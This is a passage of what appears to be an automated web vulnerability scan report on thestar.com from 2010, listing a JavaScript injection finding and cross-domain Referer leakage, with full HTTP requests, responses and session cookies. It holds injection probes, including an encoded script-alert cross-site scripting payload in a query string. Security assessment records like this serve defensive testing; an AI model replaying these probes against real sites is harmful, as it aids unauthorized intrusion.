Host: www.thestar.com
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; title=ALL DATES; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; s_cc=true; s_vnumb=1290230299170%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.2.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

1.24. http://www.thestar.com/xd_receiver.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/xd_receiver.htm

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload de162'%3b7bb6cd5b362 was submitted in the REST URL parameter 1. This input was echoed as de162';7bb6cd5b362 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /de162'%3b7bb6cd5b362 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.facebook.com/extern/login_status.php?api_key=e52ab4b1285fa2e64697937423b7772b&extern=0&channel=http%3A%2F%2Fwww.thestar.com%2Fxd_receiver.htm&locale=en_US
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-1
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:21:52 GMT
X-Varnish: 2024500642
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52052

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_de162';7bb6cd5b362_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

2. Cross-domain Referer leakage previous next
There are 6 instances of this issue:

//mostpopular
/Toplets/Polling/caching/PollRequest
/includes/headerweather
/mostpopular
/searchresults
/searchresults

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

2.1. http://www.thestar.com//mostpopular previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	//mostpopular

Issue detail

The page was loaded from a URL containing a query string:

http://www.thestar.com//mostpopular?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widgetf1b25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eHOYT%20LLC%20PoC

The response contains the following links to other domains:

http://static.thestar.topscms.com/TopletsResources/js/jquery.min.js
http://static.thestar.topscms.com/css/global.css
http://static.thestar.topscms.com/css/td.css
http://static.thestar.topscms.com/js/TD.ProjectTheStar.js

Request

GET //mostpopular?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widgetf1b25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eHOYT%20LLC%20PoC HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.thestar.com
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; title=ALL DATES; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; s_cc=true; s_vnumb=1290230323693%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.3.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

2.2. http://www.thestar.com/Toplets/Polling/caching/PollRequest previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/Toplets/Polling/caching/PollRequest

Issue detail

The page was loaded from a URL containing a query string:

http://www.thestar.com/Toplets/Polling/caching/PollRequest?assetId=893776&resultTemplate=/Toplets/Polling/PollResult&returnTo=/toplets/polling/sample/polling&postLocation=/Toplets/Polling&pollTemplate=/Toplets/Polling/caching/PollRequest&PollNavigation=688739&Poll_ApplyGoogleAnalytics=true&Poll_GAType=Widget&Poll_GADir=Home

The response contains the following link to another domain:

http://www.moneyville.ca/blog/post/893551

Request

GET /Toplets/Polling/caching/PollRequest?assetId=893776&resultTemplate=/Toplets/Polling/PollResult&returnTo=/toplets/polling/sample/polling&postLocation=/Toplets/Polling&pollTemplate=/Toplets/Polling/caching/PollRequest&PollNavigation=688739&Poll_ApplyGoogleAnalytics=true&Poll_GAType=Widget&Poll_GADir=Home HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
WS: 2-3
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:18:38 GMT
X-Varnish: 2024485652 2024478857
Age: 85
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: HIT
X-Cache-Hits: 76
Content-Length: 3771

<div class="ts-module_header_blue">
<span class="ts-shadow_container" >Have Your Say<span class="ts-shadow_highlight">Have Your Say</span></span>
</div>
<div class="ts-mo
...[SNIP]...
</div>

<a href="http://www.moneyville.ca/blog/post/893551" class="ts-bold" onClick="javascript: pageTracker._trackPageview('News-Article/Widget/Article/Have Your Say/TheStar/1');">Read the story</a>
...[SNIP]...

2.3. http://www.thestar.com/includes/headerweather previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/includes/headerweather

Issue detail

The page was loaded from a URL containing a query string:

http://www.thestar.com/includes/headerweather?CurrentEdition=toronto

The response contains the following link to another domain:

http://static.thestar.topscms.com/app_themes/standard/images/weather/50x50gif/on.gif

Request

GET /includes/headerweather?CurrentEdition=toronto HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:16:46 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
WS: 2-3
cache-control: public, max-age = 120
X-TOPS-CacheReason: Weather
Date: Sat, 20 Nov 2010 05:19:11 GMT
X-Varnish: 2024487916 2024476725
Age: 144
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: HIT
X-Cache-Hits: 275
Content-Length: 545

<a class="ts-weather_icon" href="/theweather/Canada/Ontario/Toronto" rel="nofollow">
<img src="http://static.thestar.topscms.com/app_themes/standard/images/weather/50x50gif/on.gif" alt="OVERCAST" />
</a>
...[SNIP]...

2.4. http://www.thestar.com/mostpopular previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/mostpopular

Issue detail

The page was loaded from a URL containing a query string:

http://www.thestar.com/mostpopular?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widget&MP_Home=Home

The response contains the following links to other domains:

http://static.thestar.topscms.com/TopletsResources/js/jquery.min.js
http://static.thestar.topscms.com/css/global.css
http://static.thestar.topscms.com/css/td.css
http://static.thestar.topscms.com/js/TD.ProjectTheStar.js

Request

GET /mostpopular?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widget&MP_Home=Home HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.thestar.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
WS: 2-3
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:18:30 GMT
X-Varnish: 2024485016 2024465344
Age: 252
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: HIT
X-Cache-Hits: 296
Content-Length: 8443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
M
...[SNIP]...
</title>
<link type="text/css" rel="stylesheet" href="http://static.thestar.topscms.com/css/global.css" />
<link type="text/css" rel="stylesheet" href="http://static.thestar.topscms.com/css/td.css" />
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/TopletsResources/js/jquery.min.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/TD.ProjectTheStar.js"></script>
...[SNIP]...

2.5. http://www.thestar.com/searchresults previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/searchresults

Issue detail

The page was loaded from a URL containing a query string:

http://www.thestar.com/searchresults?AssetType=article&stype=genSearch&q=%27%27%27%27&r=all:1

The response contains the following links to other domains:

http://adserver.adtechus.com/adlink/3.0/5214.1/906388/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_728x90_1;size=728x90;key=;rdclick=
http://adserver.adtechus.com/adlink/3.0/5214.1/906389/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_300x250_1;size=300x250;key=;rdclick=
http://adserver.adtechus.com/adlink/3.0/5214.1/987201/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_237x90_1;size=237x90;key=;rdclick=
http://adserver.adtechus.com/adserv/3.0/5214.1/906388/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_728x90_1;size=728x90;key=;
http://adserver.adtechus.com/adserv/3.0/5214.1/906389/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_300x250_1;size=300x250;key=;
http://adserver.adtechus.com/adserv/3.0/5214.1/987201/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_237x90_1;size=237x90;key=;
http://affiliate.zap2it.com/tvlistings/ZCGrid.do?aid=tos
http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://jobs.workopolis.com/jobshome/db/thestar.featured_joblist?pi_employer=18950
http://leasebusters.com/
http://media.thestar.topscms.com/images/20/5a/1ab89e624ea6a69b8a69a19068c5.gif
http://media.thestar.topscms.com/images/4a/12/7db0d8e04469918d1d75ca7a4b29.jpeg
http://media.thestar.topscms.com/images/5f/08/9dbcdeae4728ab68bc219bd5caec.jpeg
http://media.thestar.topscms.com/images/7e/51/6dfd33824ad6b7c6244e42f73866.jpeg
http://media.thestar.topscms.com/images/df/1c/378e1c4b4c12ba9f9d5334f12a6e.jpeg
http://media.wheels.topscms.com/images/75/24/03caafc6410f8c34ac4498caa2f9.jpeg
http://mediakit.thestar.ca/
http://newinhomes.com/
http://pagesofthepast.ca/
http://pqasb.pqarchiver.com/thestar/results.html?st=advanced&QryTxt=''''
http://pqasb.pqarchiver.com/thestar/search.html
http://save.ca/
http://shoptvcanada.com/
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php
http://static.thestar.topscms.com/TopletsResources/jquery-lightbox-0.5/css/jquery.lightbox-0.5.css
http://static.thestar.topscms.com/TopletsResources/jquery-lightbox-0.5/js/jquery.lightbox-0.5.min.js
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone_left.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone_right.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral_left.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral_right.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Toronto.com.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels_left.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels_right.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome_left.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome_right.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville_left.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville_right.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/tdc_left.jpg
http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/tdc_right.jpg
http://static.thestar.topscms.com/app_themes/standard/images/common/thestar_logo.gif
http://static.thestar.topscms.com/css/global.css
http://static.thestar.topscms.com/css/td.css
http://static.thestar.topscms.com/favicon.ico
http://static.thestar.topscms.com/js/TD.ProjectTheStar.js
http://static.thestar.topscms.com/js/TD.js
http://static.thestar.topscms.com/js/TLax.js
http://static.thestar.topscms.com/js/s_code.js
http://thestar.blogs.com/
http://thestar.workopolis.com/
http://travelalerts.ca/?utm_source=TheStar&utm_content=homepage_textlink&utm_campaign=TheStar_Homepage
http://vehicles.wheels.ca/used-cars/
http://www.classroomconnection.ca/
http://www.flyerland.ca/
http://www.goldbook.ca/
http://www.google.com/afsonline/show_afs_ads.js
http://www.gottarent.com/
http://www.healthzone.ca/
http://www.healthzone.ca/health/newsfeatures/organdonation
http://www.insurancehotline.com/
http://www.legacy.com/TheStar/Obituaries.asp
http://www.moneyville.ca/
http://www.moneyville.ca/article/886625--tell-us-how-you-save-on-fees
http://www.newinhomes.com/
http://www.omniture.com/
http://www.parentcentral.ca/
http://www.starauctions.ca/
http://www.starsavers.ca/
http://www.toronto.com/
http://www.toronto.com/guide/festive
http://www.wheels.ca/
http://www.wheels.ca/article/792482
http://www.wonderlist.ca/
http://www.yourhome.ca/

Request

GET /searchresults?AssetType=article&stype=genSearch&q=%27%27%27%27&r=all:1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.thestar.com
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; title=ALL DATES; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-4
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:20:24 GMT
X-Varnish: 2024493633 2024488280
Age: 63
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: HIT
X-Cache-Hits: 1
Content-Length: 80767

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
</script>

<link rel="shortcut icon" href="http://static.thestar.topscms.com/favicon.ico" type="image/x-icon" /><link rel="icon" href="http://static.thestar.topscms.com/favicon.ico" type="image/x-icon" />
   
...[SNIP]...
<meta name="viewport" content="width=device-width;" />
<link type="text/css" rel="stylesheet" href="http://static.thestar.topscms.com/css/global.css" />


<link type="text/css" rel="stylesheet" href="http://static.thestar.topscms.com/css/td.css" />
<script language="javascript" type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/TD.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/TD.ProjectTheStar.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/TLax.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/s_code.js"></script>
...[SNIP]...
<meta name="Description" content="Find articles and multimedia about '''' from thestar.com" />

       <script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/TopletsResources/jquery-lightbox-0.5/js/jquery.lightbox-0.5.min.js"></script>

<link type="text/css" rel="stylesheet" href="http://static.thestar.topscms.com/TopletsResources/jquery-lightbox-0.5/css/jquery.lightbox-0.5.css" />

<script type="text/javascript">
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/987201/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_237x90_1;size=237x90;key=;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/987201/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_237x90_1;size=237x90;key=;" border="0" width="237" height="90"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/906388/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_728x90_1;size=728x90;key=;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/906388/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_728x90_1;size=728x90;key=;" border="0" width="728" height="90"></a>
...[SNIP]...
<li><a href="http://www.moneyville.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/moneyville.gif" alt="moneyville" />
...[SNIP]...
<li><a href="http://www.wheels.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/wheels.gif" alt="wheels" />
...[SNIP]...
<li><a href="http://www.healthzone.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/healthzone.gif" alt="healthzone" />
...[SNIP]...
<li><a href="http://www.parentcentral.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/parentcentral.gif" alt="parentcentral" />
...[SNIP]...
<li><a href="http://www.yourhome.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/yourhome.gif" alt="yourhome" />
...[SNIP]...
<li><a href="http://www.toronto.com" target="_blank"><img src="/App_Themes/Standard/images/icons/tdc.gif" alt="tdc" />
...[SNIP]...
<a href="/" class="thestarlogo"><img src="http://static.thestar.topscms.com/app_themes/standard/images/common/thestar_logo.gif" alt="The Star" /></a>
...[SNIP]...
<li><a href="http://pqasb.pqarchiver.com/thestar/search.html">full text article archive</a>
...[SNIP]...
<li class=" ">
<a href="http://thestar.blogs.com/" target="_blank" >
<span>
...[SNIP]...
<li class="ts-first">
<a href="http://vehicles.wheels.ca/used-cars/" target="_blank">Autos</a>
...[SNIP]...
<li >
<a href="http://thestar.workopolis.com" target="_blank">Careers</a>
...[SNIP]...
<li >
<a href="http://www.legacy.com/TheStar/Obituaries.asp" target="_blank">Deaths</a>
...[SNIP]...
<li class="ts-last">
<a href="http://www.gottarent.com/" target="_blank">Rentals</a>
...[SNIP]...
<li><a href="http://affiliate.zap2it.com/tvlistings/ZCGrid.do?aid=tos" target="_blank">TV Listings</a>
...[SNIP]...
<li><a href="http://www.goldbook.ca" target="_blank">goldbook.ca</a>
...[SNIP]...
<li><a href="http://www.flyerland.ca" target="_blank">flyerland.ca</a>
...[SNIP]...
<li><a href="http://www.starauctions.ca" target="_blank">starauctions.ca</a>
...[SNIP]...
<li><a href="http://www.wonderlist.ca" target="_blank">wonderlist.ca</a>
...[SNIP]...
<li><a href="http://www.insurancehotline.com" target="_blank">insurancehotline.com</a>
...[SNIP]...
<li><a href="http://www.parentcentral.ca" target="_blank">parentcentral.ca</a>
...[SNIP]...
<li><a href="http://www.toronto.com/" target="_blank">toronto.com</a>
...[SNIP]...
<li><a href="http://www.yourhome.ca" target="_blank">yourhome.ca</a>
...[SNIP]...
<li><a href="http://www.wheels.ca" target="_blank">wheels.ca</a>
...[SNIP]...
<li><a href="http://newinhomes.com" target="_blank">Newinhomes.com</a>
...[SNIP]...
<li><a href="http://www.healthzone.ca/health/newsfeatures/organdonation" onClick="javascript: pageTracker._trackPageview('Searchresults-/Navigation/Hot Topics/Topic Title/Healthzone/3/1');">Organ donation</a>
...[SNIP]...
<li><a href="http://www.moneyville.ca/article/886625--tell-us-how-you-save-on-fees" onClick="javascript: pageTracker._trackPageview('Searchresults-/Navigation/Hot Topics/Topic Title/Moneyville/8/1');">Beat the fees</a>
...[SNIP]...
<div class="ts-right">Search our <a href="http://pqasb.pqarchiver.com/thestar/results.html?st=advanced&QryTxt=''''">paid archives for <b>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://n.thestar.com/b/ss/thestarprod/1/H.20.3--NS/0" height="1" width="1" border="0" alt="Web Analytics Image" />
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/906389/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_300x250_1;size=300x250;key=;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/906389/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_300x250_1;size=300x250;key=;" border="0" width="300" height="250"></a>
...[SNIP]...
</script>
<script language="JavaScript" src="http://www.google.com/afsonline/show_afs_ads.js"></script>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville_left.jpg" alt="moneyville" >
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...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.moneyville.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/moneyville/1/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville.jpg" alt="moneyville Logo">
</a>
...[SNIP]...
t-begin-at-67" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/moneyville/1/2');">
<img src="http://media.thestar.topscms.com/images/4a/12/7db0d8e04469918d1d75ca7a4b29.jpeg" alt="Should retirement begin at 67?" />
</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville_right.jpg" alt="moneyville">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels_left.jpg" alt="Wheels" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.wheels.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/Wheels/2/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels.jpg" alt="Wheels Logo">
</a>
...[SNIP]...

<a href="http://www.wheels.ca/article/792482" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/Wheels/1/2');">


<img src="http://media.wheels.topscms.com/images/75/24/03caafc6410f8c34ac4498caa2f9.jpeg" width=133 height=100 alt="Best Vehicles of 2011"></a>
...[SNIP]...

<a href="http://www.wheels.ca/article/792482" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/Wheels.ca/1/3');">


...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels_right.jpg" alt="Wheels">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral_left.jpg" alt="ParentCentral" >
        </div>
